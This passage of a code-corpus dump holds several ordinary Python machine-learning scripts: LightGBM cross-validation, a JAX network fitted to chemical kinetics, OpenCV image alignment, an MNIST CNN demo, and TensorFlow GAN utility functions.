y.iloc[train_idx])\r\n    val_set = lgb.Dataset(X.iloc[val_idx], y.iloc[val_idx])\r\n\r\n    model = lgb.train(params, train_set, valid_sets=[train_set, val_set],\r\n                      feval=f1_score_vail, verbose_eval=100)\r\n    models.append(model)\r\n    val_pred = model.predict(X.iloc[val_idx])\r\n    oof[val_idx] = val_pred\r\n    val_y = y.iloc[val_idx]\r\n    val_pred = np.argmax(val_pred, axis=1)\r\n    print(index, 'val f1', metrics.f1_score(val_y, val_pred, average='macro'),'\\n')\r\n    # 0.8695539641133697\r\n    # 0.8866211724839532\r\n\r\n    test_pred = model.predict(X_test)\r\n    pred += test_pred/5\r\n\r\n# print(\"参数：\\n\",params)\r\noof = np.argmax(oof, axis=1)\r\nprint('oof f1', metrics.f1_score(oof, y, average='macro'))\r\n# 0.8701544575329372\r\n\r\n\r\npred = np.argmax(pred, axis=1)\r\nsub = test_label[['ship']]\r\nsub['pred'] = pred\r\n\r\nprint(sub['pred'].value_counts(1))\r\nsub['pred'] = sub['pred'].map(type_map_rev)\r\nsub.to_csv('result_3.csv', index=None, header=None)\r\n\r\n# ret = []\r\n# for index, model in enumerate(models):\r\n#     df = pd.DataFrame()\r\n#     df['name'] = model.feature_name()\r\n#     df['score'] = model.feature_importance()\r\n#     df['fold'] = index\r\n#     ret.append(df)\r\n#\r\n# df = pd.concat(ret)\r\n#\r\n# df = df.groupby('name', as_index=False)['score'].mean()\r\n# df = df.sort_values(['score'], ascending=False)\r\n# print(df)\r\n", "repo_name": "COST-97/-GameSummary", "sub_path": "train_code/train_2.py", "file_name": "train_2.py", "file_ext": "py", "file_size_in_byte": 12298, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.set_option", "line_number": 11, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 60, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 67, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 78, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 118, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 119, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 119, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 125, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 129, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 304, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 307, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 308, "usage_type": "call"}, {"api_name": "lightgbm.train", "line_number": 310, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 316, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 317, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 317, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 325, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 326, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 326, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 330, "usage_type": "call"}]}
{"seq_id": "72368343291", "text": "import jax.numpy as np\nfrom jax import random, grad, vmap, jit\nimport matplotlib.pyplot as plt\nfrom activation_jax import tanh, sigmoid, leaky_relu, relu\nimport numpy as slow_np\nfrom metrics import score\nfrom jax.config import config\nimport math\n\n\n#config.update(\"jax_debug_nans\", True) #debugger for Nan--- kill the code\n\n# krome networks/react_hello---single T---no flux \n\n\ndef FNN(params,x):\n    w0 = params[:20]\n    b0 = params[20:40]\n    w1 = params[40:60]\n    b1 = params[60]\n\n    x=tanh(x*w0+b0)\n    x=tanh(np.sum(x*w1)+b1)\n    return x\n\nexact=slow_np.loadtxt('NN_jax/fort.66',unpack=True)\n\nkey = random.PRNGKey(0)\nparams = random.normal(key, shape=(61,3))\n\ndfdx = grad(FNN, 1)\n\ninputs = np.linspace(-0., 5., num=1130)\ninputs_krome=exact[0,:]\n\nf_vect1 = vmap(FNN, (None, 0))\ndfdx_vect1 = vmap(dfdx, (None, 0))\n\nf_vect2 = vmap(FNN, (None, 0))\ndfdx_vect2 = vmap(dfdx, (None, 0))\n\nf_vect3 = vmap(FNN, (None, 0))\ndfdx_vect3 = vmap(dfdx, (None, 0))\n@jit\n\ndef loss(params, inputs):\n    eq1=dfdx_vect1(params[:,0], inputs)+f_vect1(params[:,0], inputs)\n    eq2=dfdx_vect2(params[:,1], inputs)-f_vect1(params[:,0], inputs)+0.5*f_vect2(params[:,1], inputs)\n    eq3=dfdx_vect3(params[:,2], inputs)-0.5*f_vect2(params[:,1], inputs)\n\n    ic1=FNN(params[:,0],0.)-1\n    ic2=FNN(params[:,1],0.)-1e-10\n    ic3=FNN(params[:,2],0.)-1e-10\n    \n    return sum((np.mean(eq1**2.+ic1**2),np.mean(eq2**2.+ic2**2),np.mean(eq3**2.+ic3**2)))\n\n\n\n\ngrad_loss = jit(grad(loss, 0))\n\n\n\n'''\nlearning_rate = 0.0007\nmomentum = 0.99\nvelocity = np.array([0.,0.,0.])\n\nfor epoch in range(epochs):\n    if epoch % 100 == 0:\n        print('epoch: %3d loss: %.6f' % (epoch, loss(params, inputs)))\n        print(f_vect1(params[:,0],inputs)[0]-1.)\n    gradient = grad_loss(params + momentum*velocity, inputs)\n    velocity = momentum*velocity - learning_rate*gradient\n    params += velocity\n'''\n\nlr=8e-3\nbeta1=9e-1\nbeta2=999e-3\ndelta=1e-8\nmomentum=0e0\nvelocity=0e0\n\nepoch=0\neps=5e-6\n\ntrain_loss=[]\nvalidation_loss=[]\n\n#for epoch in range(epochs):\nwhile loss(params,inputs) > eps and epoch < 50000:\n    \n\n    if epoch % 200 == 0:\n        print('epoch: %3d loss: %.6f' % (epoch, loss(params, inputs)),loss(params,inputs_krome))\n    \n    train_loss.append(loss(params, inputs))\n    validation_loss.append(loss(params,inputs_krome))\n\n    gradient = grad_loss(params, inputs)\n    \n    momentum=beta1*momentum+(1e0-beta1)*gradient\n    velocity=beta2*velocity+(1e0-beta2)*gradient*gradient\n\n    momentum_norm=momentum/(1e0-beta1**float(epoch+1))\n    velocity_norm=velocity/(1e0-beta2**float(epoch+1))\n    \n    epoch=epoch+1\n\n    if slow_np.isnan(momentum_norm).any()==False:\n        params-= lr*momentum_norm/(np.sqrt(velocity_norm)+delta)\n    else:\n        params=params\n    \n    \ntrain_loss=np.array(train_loss)\nvalidation_loss=np.array(validation_loss)\n\nplt.plot(np.arange(len(train_loss))+1,np.log10(train_loss),label='train')\nplt.plot(np.arange(len(train_loss))+1,np.log10(validation_loss),label='valid')\nplt.xlabel('epoch')\nplt.ylabel('log10[loss]')\nplt.legend()\nplt.show()\n#print(f_vect1(params[:,0], inputs),f_vect2(params[:,1], inputs),f_vect3(params[:,2], inputs))\n\nprint('specie 1:')\nscore(exact[1,:],f_vect1(params[:,0], inputs_krome))\n\nprint('specie 2:')\nscore(exact[2,:],f_vect1(params[:,1], inputs_krome))\n\nprint('specie 3:')\nscore(exact[3,:],f_vect1(params[:,2], inputs_krome))\n\nplt.plot(exact[0,:],exact[1,:],label='A_krome',color='red')\nplt.plot(exact[0,:],exact[2,:],label='B_krome',color='green')\nplt.plot(exact[0,:],exact[3,:],label='C_krome',color='blue')\n\nplt.plot(inputs_krome, f_vect1(params[:,0], inputs_krome),'.', label='A_pred',color='red')\nplt.plot(inputs_krome, f_vect2(params[:,1], inputs_krome),'.', label='B_pred',color='green')\nplt.plot(inputs_krome, f_vect3(params[:,2], inputs_krome),'.', label='C_pred',color='blue')\nplt.legend()\n\nplt.xlabel('t')\nplt.ylabel('n[#/cm3]')\n#plt.savefig('krome_hello.png')\nplt.show()\n\n", "repo_name": "lorenzobranca/ML_project", "sub_path": "test_krome_hello.py", "file_name": "test_krome_hello.py", "file_ext": "py", "file_size_in_byte": 3904, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "activation_jax.tanh", "line_number": 22, "usage_type": "call"}, {"api_name": "activation_jax.tanh", "line_number": 23, "usage_type": "call"}, {"api_name": "jax.numpy.sum", "line_number": 23, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 26, "usage_type": "call"}, {"api_name": "jax.random.PRNGKey", "line_number": 28, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 28, "usage_type": "name"}, {"api_name": "jax.random.normal", "line_number": 29, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 29, "usage_type": "name"}, {"api_name": "jax.grad", "line_number": 31, "usage_type": "call"}, {"api_name": "jax.numpy.linspace", "line_number": 33, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 33, "usage_type": "name"}, {"api_name": "jax.vmap", "line_number": 36, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 37, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 39, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 40, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 42, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 43, "usage_type": "call"}, {"api_name": "jax.numpy.mean", "line_number": 55, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 55, "usage_type": "name"}, {"api_name": "jax.jit", "line_number": 44, "usage_type": "name"}, {"api_name": "jax.jit", "line_number": 60, "usage_type": "call"}, {"api_name": "jax.grad", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 111, "usage_type": "call"}, {"api_name": "jax.numpy.sqrt", "line_number": 112, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 112, "usage_type": "name"}, {"api_name": "jax.numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 117, "usage_type": "name"}, {"api_name": "jax.numpy.array", "line_number": 118, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "jax.numpy.arange", "line_number": 120, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 120, "usage_type": "name"}, {"api_name": "jax.numpy.log10", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "jax.numpy.arange", "line_number": 121, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 121, "usage_type": "name"}, {"api_name": "jax.numpy.log10", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "metrics.score", "line_number": 129, "usage_type": "call"}, {"api_name": "metrics.score", "line_number": 132, "usage_type": "call"}, {"api_name": "metrics.score", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}]}
{"seq_id": "73131643145", "text": "import cv2\nimport imutils\nimport numpy as np\nimport math\nimport time\nimport os\n\ndef align_images(image, template, maxFeatures=3000,\n                 keepPercent=0.2, debug=False):\n    \"\"\"align image with template\n\n    Args:\n        image (_type_): 要对齐的图片\n        template (_type_): 模板图片\n        maxFeatures (int, optional): _description_. Defaults to 3000.\n        keepPercent (float, optional): _description_. Defaults to 0.2.\n        debug (bool, optional): _description_. Defaults to False.\n\n    Returns:\n        ndarray: 对齐后的图片\n    \"\"\"     \n    # use grayscale\n    imageGray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    templateGray = cv2.cvtColor(template, cv2.COLOR_BGR2GRAY)\n    \n    orb = cv2.ORB_create(maxFeatures)\n    (kpsA, descsA) = orb.detectAndCompute(imageGray, None)\n    (kpsB, descsB) = orb.detectAndCompute(templateGray, None)\n    \n    # match the features\n    method = cv2.DESCRIPTOR_MATCHER_BRUTEFORCE_HAMMING\n    matcher = cv2.DescriptorMatcher_create(method)\n    matches = matcher.match(descsA, descsB, None)\n \n    matchesort = sorted(matches, key=lambda x: x.distance)\n\n    keep = int(len(matchesort) * keepPercent)\n    matches = matchesort[:keep]\n\n    # if debug:\n    #     matchedVis = cv2.drawMatches(image, kpsA, template, kpsB,\n    #                                  matches, None)\n    #     matchedVis = imutils.resize(matchedVis, width=1000)\n    #     cv2.imshow(\"Matched Keypoints\", matchedVis)\n    #     cv2.waitKey(0)\n\n    ptsA = np.zeros((len(matches), 2), dtype=\"float\")\n    ptsB = np.zeros((len(matches), 2), dtype=\"float\")\n\n    for (i, m) in enumerate(matches):\n        # indicate that the two keypoints in the respective images\n        # map to each other\n        ptsA[i] = kpsA[m.queryIdx].pt\n        ptsB[i] = kpsB[m.trainIdx].pt\n\n    (H, mask) = cv2.findHomography(ptsA, ptsB, method=cv2.RANSAC)\n\n    (h, w) = template.shape[:2]\n    aligned = cv2.warpPerspective(image, H, (w, h))\n    \n    return aligned\n\n\n\ndef align_check(img, template):\n    \"\"\"check if img is aligned to template\n\n    Args:\n        img (ndarray): 测试图片\n        template (ndarray): 模板图片\n\n    Returns:\n        Bool: True/False\n    \"\"\"    \n    aligned = False\n    \n    return aligned\n\n\nif __name__ == \"__main__\":\n    templatepath = '/home/znzz/Desktop/Data/mfl/CODE/printcheck/tmp/2022-10-11'\n    testimgpath = '/home/znzz/Desktop/Data/mfl/CODE/printcheck/tmptest'\n    \n    ims = os.listdir(testimgpath)\n    im = cv2.imread(os.path.join(testimgpath, ims[4]))\n    template = os.listdir(templatepath)\n    templateim = cv2.imread(os.path.join(templatepath,template[4]))\n    \n    align_images(im, templateim)\n    ", "repo_name": "lei0lei/printcheck", "sub_path": "src/utils/align.py", "file_name": "align.py", "file_ext": "py", "file_size_in_byte": 2666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.cvtColor", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.ORB_create", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.DESCRIPTOR_MATCHER_BRUTEFORCE_HAMMING", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cv2.DescriptorMatcher_create", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.findHomography", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.RANSAC", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.warpPerspective", "line_number": 59, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}]}
{"seq_id": "9843852655", "text": "from matplotlib import pyplot as plt\nimport numpy as np\nfrom random import shuffle\n\nfrom KeraScratch import model, optimizers\nfrom KeraScratch.operators import activation, layer, loss\n\n\ndef get_images(path, split=0):\n    ds = np.load(path)\n    x = ds['X']\n    y = ds['Y']\n    data = []\n    for i in range(x.shape[0]):\n        data.append([np.array([x[i, :].astype(np.float64) / 255]), np.array([np.argmax(y[i, :])])])\n    if split == 0:\n        return data\n    shuffle(data)\n    return data[:int(split*len(data))], data[int(split*len(data)):]\n\n\ntrain_data, val_data = get_images('image/trainset.npz', 0.9)\ntest_data = get_images('image/testset.npz')\n\n\ncnn = model.SequentialModel([\n    layer.Conv2DOperator(8, 5, padding='same'),\n    activation.ReLUOperator(),\n    layer.MaxPoolingOperator(2),\n    layer.Conv2DOperator(16, 5, padding='same'),\n    activation.ReLUOperator(),\n    layer.MeanPoolingOperator(2),\n    layer.FlattenOperator(),\n    layer.LinearOperator(64),\n    activation.ReLUOperator(),\n    layer.LinearOperator(10),\n    loss.CrossEntropyLoss()\n])\ncnn.compile(optimizers.SGD(learning_rate=1e-3, momentum=0))\n\nepoch = 20\nhistory = cnn.fit(train_data, val_data, epoch=epoch)\n\nx_range = range(epoch)\n\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.plot(x_range, history['train']['accuracy'], label='train acc')\nax.plot(x_range, history['val']['accuracy'], label='test acc')\nax.set_ylabel('accuracy')\nax.legend(loc='upper left')\n\nax2 = ax.twinx()\nax2.plot(x_range, history['train']['loss'], label='train loss')\nax2.plot(x_range, history['val']['loss'], label='test loss')\nax2.set_ylabel('loss')\nax2.legend(loc='upper right')\n\nplt.show()\n\ntest_his = cnn.evaluate(test_data)\nprint(test_his)\n", "repo_name": "iamSmallY/KeraScratch", "sub_path": "demos/mnist/mnist.py", "file_name": "mnist.py", "file_ext": "py", "file_size_in_byte": 1697, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.load", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 15, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 18, "usage_type": "call"}, {"api_name": "KeraScratch.model.SequentialModel", "line_number": 26, "usage_type": "call"}, {"api_name": "KeraScratch.model", "line_number": 26, "usage_type": "name"}, {"api_name": "KeraScratch.operators.layer.Conv2DOperator", "line_number": 27, "usage_type": "call"}, {"api_name": "KeraScratch.operators.layer", "line_number": 27, "usage_type": "name"}, {"api_name": "KeraScratch.operators.activation.ReLUOperator", "line_number": 28, "usage_type": "call"}, {"api_name": "KeraScratch.operators.activation", "line_number": 28, "usage_type": "name"}, {"api_name": "KeraScratch.operators.layer.MaxPoolingOperator", "line_number": 29, "usage_type": "call"}, {"api_name": "KeraScratch.operators.layer", "line_number": 29, "usage_type": "name"}, {"api_name": "KeraScratch.operators.layer.Conv2DOperator", "line_number": 30, "usage_type": "call"}, {"api_name": "KeraScratch.operators.layer", "line_number": 30, "usage_type": "name"}, {"api_name": "KeraScratch.operators.activation.ReLUOperator", "line_number": 31, "usage_type": "call"}, {"api_name": "KeraScratch.operators.activation", "line_number": 31, "usage_type": "name"}, {"api_name": "KeraScratch.operators.layer.MeanPoolingOperator", "line_number": 32, "usage_type": "call"}, {"api_name": "KeraScratch.operators.layer", "line_number": 32, "usage_type": "name"}, {"api_name": "KeraScratch.operators.layer.FlattenOperator", "line_number": 33, "usage_type": "call"}, {"api_name": "KeraScratch.operators.layer", "line_number": 33, "usage_type": "name"}, {"api_name": "KeraScratch.operators.layer.LinearOperator", "line_number": 34, "usage_type": "call"}, {"api_name": "KeraScratch.operators.layer", "line_number": 34, "usage_type": "name"}, {"api_name": "KeraScratch.operators.activation.ReLUOperator", "line_number": 35, "usage_type": "call"}, {"api_name": "KeraScratch.operators.activation", "line_number": 35, "usage_type": "name"}, {"api_name": "KeraScratch.operators.layer.LinearOperator", "line_number": 36, "usage_type": "call"}, {"api_name": "KeraScratch.operators.layer", "line_number": 36, "usage_type": "name"}, {"api_name": "KeraScratch.operators.loss.CrossEntropyLoss", "line_number": 37, "usage_type": "call"}, {"api_name": "KeraScratch.operators.loss", "line_number": 37, "usage_type": "name"}, {"api_name": "KeraScratch.optimizers.SGD", "line_number": 39, "usage_type": "call"}, {"api_name": "KeraScratch.optimizers", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}]}
{"seq_id": "17256045518", "text": "# from skimage import io\nfrom PIL import ImageFile\nimport numpy as np\nimport re\nimport os\nimport time\nimport sys\nimport signal\nfrom glob import glob\nimport numpy as np\nimport tensorflow as tf\nfrom IPython import embed\nimport math\nimport scipy.stats as st\nfrom skimage import feature\n\n# This part of codes come from Ayan Chakrabarti <ayan@wustl.edu>\n# General usage\n\n# Logic for trapping ctrlc and setting stop\nstop = False\n_orig = None\ndef handler(a,b):\n    global stop\n    stop = True\n    signal.signal(signal.SIGINT,_orig)\n_orig = signal.signal(signal.SIGINT,handler)\n\n\ndef mprint(s):\n    sys.stdout.write(time.strftime(\"%Y-%m-%d %H:%M:%S \") + s + \"\\n\")\n    sys.stdout.flush()\n\ndef vprint(it, nms, vals):\n    s = '[%06d]' % it\n    for i in range(len(nms)):\n        s = s + ' ' + nms[i] + ' = %.3e'%vals[i]\n    mprint(s)\n    \n# Manage checkpoint files, read off iteration number from filename\n# Use clean() to keep latest, and modulo n iters, delete rest\nclass ckpter:\n    def __init__(self,wcard):\n        self.wcard = wcard\n        self.load()\n        \n    def load(self):\n        lst = glob(self.wcard)\n        if len(lst) > 0:\n            lst=[(l,int(re.match('.*/.*_(\\d+)',l).group(1)))\n                 for l in lst]\n            self.lst=sorted(lst,key=lambda x: x[1])\n\n            self.iter = self.lst[-1][1]\n            self.latest = self.lst[-1][0]\n        else:\n            self.lst=[]\n            self.iter=0\n            self.latest=None\n\n    def clean(self,every=0,last=1):\n        self.load()\n        old = self.lst[:-last]\n        for j in old:\n            if every == 0 or j[1] % every != 0:\n                os.remove(j[0])\n\n# Save/load networks\ndef saveNet(fn,net,sess):\n    wts = {}\n    for k in net.weights.keys():\n        wts[k] = net.weights[k].eval(sess)\n    np.savez(fn,**wts)\n\ndef loadNet(fn,net,sess):\n    wts = np.load(fn)\n    for k in wts.keys():\n        if k in net.weights:\n            print(\"loading Net\")\n            wvar = net.weights[k]\n            wk = wts[k].reshape(wvar.get_shape())\n            wvar.load(wk,sess)\n    print(\"Loading finished!\")\n\n\n# Save/load Adam optimizer state\ndef saveAdam(fn,opt,vdict,sess):\n    weights = {}\n    beta1_power, beta2_power = opt._get_beta_accumulators()\n    weights['b1p'] = beta1_power.eval(sess)\n    weights['b2p'] = beta2_power.eval(sess)\n    for v in vdict:\n        weights['m_%s' % v.name] = opt.get_slot(v,'m').eval(sess)\n        weights['v_%s' % v.name] = opt.get_slot(v,'v').eval(sess)\n    np.savez(fn,**weights)\n\n\ndef loadAdam(fn,opt,vdict,sess):\n    weights = np.load(fn)\n    beta1_power, beta2_power = opt._get_beta_accumulators()\n    beta1_power.load(weights['b1p'],sess)\n    beta2_power.load(weights['b2p'],sess)\n\n    for v in vdict:\n        opt.get_slot(v,'m').load(weights['m_%s' % v.name],sess)\n        opt.get_slot(v,'v').load(weights['v_%s' % v.name],sess)\n\n\n#Content Encoder script\n################ This part has been rewritten in data.py. This comment part is used for debug and review\n\n# def load_gan_test_image( path, pre_height=267, pre_width=267, height=256, width=256 ):\n#     try:\n#         img = io.imread( path ).astype( float )\n#     except:\n#         return None\n\n#     img /= 255.\n\n#     if img is None: return None\n#     if len(img.shape) < 2: return None\n#     if len(img.shape) == 4: return None\n#     if len(img.shape) == 2: img=np.tile(img[:,:,None], 3)\n#     if img.shape[2] == 4: img=img[:,:,:3]\n#     if img.shape[2] > 4: return None\n    \n\n#     short_edge = min( img.shape[:2] )\n#     yy = int((img.shape[0] - short_edge) / 2)\n#     xx = int((img.shape[1] - short_edge) / 2)\n#     crop_img = img[yy:yy+short_edge, xx:xx+short_edge]\n#     resized_img = skimage.transform.resize( crop_img, [pre_height,pre_width] )\n\n#     rand_y = np.random.randint(0, pre_height - height)\n#     rand_x = np.random.randint(0, pre_width - width)\n\n#     resized_img = resized_img[ rand_y:rand_y+height, rand_x:rand_x+width, : ]\n\n#     return (resized_img * 2)-1 #(resized_img - 127.5)/127.5\n\n\ndef random_interpolates(x, y, alpha=None):\n    \"\"\"\n    x: first dimension as batch_size\n    y: first dimension as batch_size\n    alpha: [BATCH_SIZE, 1]\n    \"\"\"\n    shape = x.get_shape().as_list()\n    x = tf.reshape(x, [shape[0], -1])\n    y = tf.reshape(y, [shape[0], -1])\n    if alpha is None:\n        alpha = tf.random_uniform(shape=[shape[0], 1])\n    interpolates = x + alpha*(y - x)\n    return tf.reshape(interpolates, shape)\n\n\ndef gradients_penalty(x, y, mask=None, norm=1.):\n    \"\"\"Improved Training of Wasserstein GANs\n    - https://arxiv.org/abs/1704.00028\n    \"\"\"\n    gradients = tf.gradients(y, x)[0]\n    if mask is None:\n        mask = tf.ones_like(gradients)\n    slopes = tf.sqrt(tf.reduce_sum(tf.square(gradients) * mask, axis=[1, 2, 3]))\n    return tf.reduce_mean(tf.square(slopes - norm))\n\n\ndef resize_mask_like(mask, x):\n    \"\"\"Resize mask like shape of x.\n    Args:\n        mask: Original mask.\n        x: To shape of x.\n    Returns:\n        tf.Tensor: resized mask\n    \"\"\"\n    mask_resize = resize(\n        mask, to_shape=x.get_shape().as_list()[1:3],\n        func=tf.image.resize_nearest_neighbor)\n    return mask_resize\n\n\ndef resize(x, scale=2, to_shape=None, align_corners=True, dynamic=False,\n           func=tf.image.resize_bilinear, name='resize'):\n\n    if dynamic:\n        xs = tf.cast(tf.shape(x), tf.float32)\n        new_xs = [tf.cast(xs[1]*scale, tf.int32),\n                  tf.cast(xs[2]*scale, tf.int32)]\n    else:\n        xs = x.get_shape().as_list()\n        new_xs = [int(xs[1]*scale), int(xs[2]*scale)]\n    with tf.variable_scope(name):\n        if to_shape is None:\n            x = func(x, new_xs, align_corners=align_corners)\n        else:\n            x = func(x, [to_shape[0], to_shape[1]],\n                     align_corners=align_corners)\n    # print(x)\n    return x\n\n# def spatial_discounting_mask(gamma, c_height, c_width):\n    \n#     shape = [1, c_height, c_width, 1]    \n#     # logger.info('Use spatial discounting l1 loss.')\n#     mask_values = np.ones((c_height, c_width))\n#     for i in range(c_height):\n#         for j in range(c_width):\n#             mask_values[i, j] = max(\n#                 gamma**min(i, c_height-i),\n#                 gamma**min(j, c_width-j))\n#     mask_values = np.expand_dims(mask_values, 0)\n#     mask_values = np.expand_dims(mask_values, 3)\n\n#     return tf.constant(mask_values, dtype=tf.float32, shape=shape)\n\n\ndef gauss_kernel(size=21, sigma=3, inchannels=3, outchannels=3):\n 